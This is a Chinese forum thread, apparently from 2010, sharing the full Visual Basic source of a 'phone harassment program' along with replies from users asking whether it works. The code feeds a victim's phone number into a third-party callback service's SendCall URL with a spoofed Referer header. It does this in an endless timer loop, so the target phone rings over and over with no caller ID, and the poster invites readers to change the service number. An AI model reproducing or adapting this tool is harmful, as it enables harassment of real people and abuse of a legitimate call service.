胡斯您3000 电话骚扰程序

kon88

胡斯您.rar (4.64 KB, 下载次数: 3880)

2010-1-29 20:50 上传

点击文件名下载附件
电话骚扰程序
下载积分: 吾爱币 -2 CB

看到论坛有人用WEBCALL做了个电话骚扰程序。

好像晚上uin=8008115 这个服务是关闭了，所以大家在白天测试，应该OK，这里面的服务号码，大家可以自己改！
很多人不会VB，不知道COOKIE如何改。
我就把他加工了下。

下面附件上源代码：

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Command1_Click()
If Len(Text1) = 11 Then
Timer1.Enabled = True
Else
Beep
End If
End Sub
Private Sub Timer1_Timer()
Timer1.Enabled = False
Dim WinHttp As Object                  '声明一个对象
Set WinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
    WinHttp.SetTimeouts 55000, 55000, 60000, 55000                  '设置延时
    WinHttp.Open "GET", "http://callback.tq.cn/callback/SendCall.do?uin=8008115&callPhone=0" + Text1, False
    WinHttp.setRequestHeader "Referer", "http://callback.tq.cn/callback/PreSendCall.do"
    WinHttp.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
    WinHttp.send
    superSleep (10)
    While WinHttp.Status <> 200
        DoEvents
    Wend
    Timer1.Enabled = True
End Sub

Private Function BytesToBstr(body, Cset)
    Dim objstream
    Set objstream = CreateObject("adodb.stream")
    objstream.Type = 1
    objstream.Mode = 3
    objstream.Open
    objstream.write body
    objstream.position = 0
    objstream.Type = 2
    objstream.Charset = Cset
    BytesToBstr = objstream.ReadText
    objstream.Close
    Set objstream = Nothing
End Function
Public Function superSleep(DealyTime As Long)
    Dim TimerCount As Single
    TimerCount = Timer + DealyTime
    While TimerCount - Timer > 0
        DoEvents
        Sleep (1)
    Wend
End Function

qiaokeli5511

我晕，还真的能用，直接输入手机号码后，手机就响了，来电无显示号码

hezuyuan

可以用吗？试过的说下啊

qiaokeli5511

要是能接听和打电话就爽了。

liumuailin

看看怎么用

507

可以用吗？试过的说下啊

moli

这个好玩，先试下

kimberaly

有没有人试过。分享一下心得

ccxiaoshi

有没有人试过。分享一下心得

亲嘴会蛀牙

真的有用嘛

welking

好玩~能用多久？

wj89891

我呼自己的试试

ikeart

蛮有意思的软件.